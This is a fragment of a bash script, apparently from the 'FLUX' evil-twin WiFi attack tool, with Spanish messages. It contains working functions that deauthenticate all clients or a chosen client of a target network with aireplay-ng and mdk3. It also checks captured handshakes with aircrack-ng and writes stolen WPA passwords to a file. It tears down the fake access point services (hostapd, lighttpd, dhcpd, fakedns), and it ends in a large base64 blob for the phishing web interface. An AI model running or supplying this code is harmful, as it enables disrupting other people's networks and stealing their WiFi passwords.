&>$flux_output_device - killall hostapd &>$flux_output_device - killall lighttpd &>$flux_output_device - killall dhcpd &>$flux_output_device - killall wpa_supplicant &>$flux_output_device - killall wpa_passphrase &>$flux_output_device - - echo \" - FLUX $version by deltax - - SSID: $Host_SSID - BSSID: $Host_MAC ($Host_MAC_MODEL) - Channel: $Host_CHAN - Security: $Host_ENC - Time: \$ih\$horas:\$im\$minutos:\$is\$segundos - Password: \$(cat $DUMP_PATH/data.txt) - \" >$HOME/$Host_SSID-password.txt">>$DUMP_PATH/handcheck - - - if [ $authmode = "handshake" ]; then - echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\" - ">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo "echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck - fi - - echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck - chmod +x $DUMP_PATH/handcheck -} - - -############################################# < ATTACK > ############################################ - - - - - - -############################################## < STUFF > ############################################ - -# Deauth all -function deauthall { - - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a todos de $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & -} - -function deauthmdk3 { - - echo "$Host_MAC" >$DUMP_PATH/mdk3.txt - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando mdk3 a todos de $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & - mdk3PID=$! - sleep 15 - kill $mdk3PID &>$flux_output_device -} - -# Deauth to a specific target -function deauthesp { - - sleep 2 - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & -} - -# Close all processes -function matartodo { - - killall aireplay-ng &>$flux_output_device - kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device - killall hostapd &>$flux_output_device - killall lighttpd &>$flux_output_device - killall dhcpd &>$flux_output_device - killall xterm &>$flux_output_device - -} - - - -############################################## < STUFF > ############################################ - - - - - - -######################################### < INTERFACE WEB > ######################################## - -# Create the contents for the web interface -function NEUTRA { - - if [ ! -d $DUMP_PATH/data ]; then - mkdir $DUMP_PATH/data - fi - -echo "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 